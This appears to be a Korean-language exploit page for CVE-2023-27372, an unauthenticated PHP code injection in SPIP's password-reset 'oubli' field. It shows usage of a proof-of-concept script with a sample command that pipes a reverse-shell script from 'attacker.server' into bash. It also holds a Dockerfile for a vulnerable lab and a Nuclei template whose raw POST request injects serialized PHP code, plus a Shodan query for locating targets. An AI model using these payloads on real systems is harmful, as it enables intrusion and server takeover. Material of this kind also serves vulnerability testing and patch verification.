
SPIP 4.2.1 이전 버전에서는 직렬화(serialization) 처리가 잘못되어 공개 영역의 폼(form) 값을 통해 원격 코드 실행(Remote Code Execution)이 가능합니다. 수정된 버전은 3.2.18, 4.0.10, 4.1.8, 4.2.1입니다.

SPIP 4.2.1 이전 버전에서는 직렬화(serialization)가 잘못 처리되어 공개 영역의 양식 값을 통해 원격 코드 실행이 가능합니다. 수정된 버전은 3.2.18, 4.0.10, 4.1.8 및 4.2.1입니다.
이 PoC는 SPIP의 PHP 코드 삽입을 악용합니다. 이 취약점은 oubli 매개변수에 존재하며, 인증되지 않은 사용자가 웹 사용자 권한으로 임의의 명령을 실행할 수 있게 합니다. 3.2, 4.0, 4.1 및 4.2 브랜치가 영향을 받습니다. 취약한 버전은 <3.2.18, <4.0.10, <4.1.18 및 <4.2.1입니다.
이 취약점은 PHP 코드를 주입하기 위해 지나치게 허용적인 변수 정화(sanitization) 함수를 악용하는 2가지 버그를 이용합니다:
<!-- File : /squelettes-dist/formulaires/oubli.html -->
<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />
<!-- File : /ecrire/balise/formulaire_.php -->
if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
return $texte; // $texte = $_POST['oubli']
서버에서 RCE를 발생시키기 위해, /spip.php?page=spip_pass 엔드포인트에서 비밀번호를 재설정할 때 $_POST['oubli'] 변수에 PHP 코드가 포함된 직렬화된 PHP 문자열을 주입할 수 있습니다.
수동 예제:


❯ ./CVE-2023-27372.py -h
usage: CVE-2023-27372.py [-h] -u URL -c COMMAND [-v]
Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7
options:
-h, --help show this help message and exit
-u URL, --url URL SPIP application base URL
-c COMMAND, --command COMMAND
Command to execute
-v, --verbose Verbose mode. (default: False)
./CVE-2023-27372.py -u https://spip.local.com -c 'curl https://attacker.server/revshell.sh|bash' -v
Dockerfile:
FROM ubuntu:20.04 as base
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
php \
php-xml \
php-zip \
php-sqlite3 \
unzip
ADD https://files.spip.net/spip/archives/spip-v4.2.0.zip /tmp/
RUN unzip /tmp/spip-v4.2.0.zip -d /var/www/
RUN cd /var/www/ && php -S 0.0.0.0:8000

id: CVE-2023-27372
info:
name: SPIP - Remote Command Execution
author: DhiyaneshDK,nuts7
severity: critical
description: |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
reference:
- https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27372
- https://github.com/nuts7/CVE-2023-27372
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27372
metadata:
max-request: 1
shodan-query: html:"spip.php?page=backend"
verified: "true"
tags: cve,cve2023,spip,rce
http:
- raw:
- |
GET /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
- |
POST /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "PHP Extension"
- "PHP Version"
- "<!DOCTYPE html"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrf
group: 1
internal: true
part: body_1
regex:
- "name='formulaire_action_args'[^>]*value='([^']*)'"
- type: regex
part: body_2
group: 1
regex:
- '>PHP Version <\/td><td class="v">([0-9.]+)'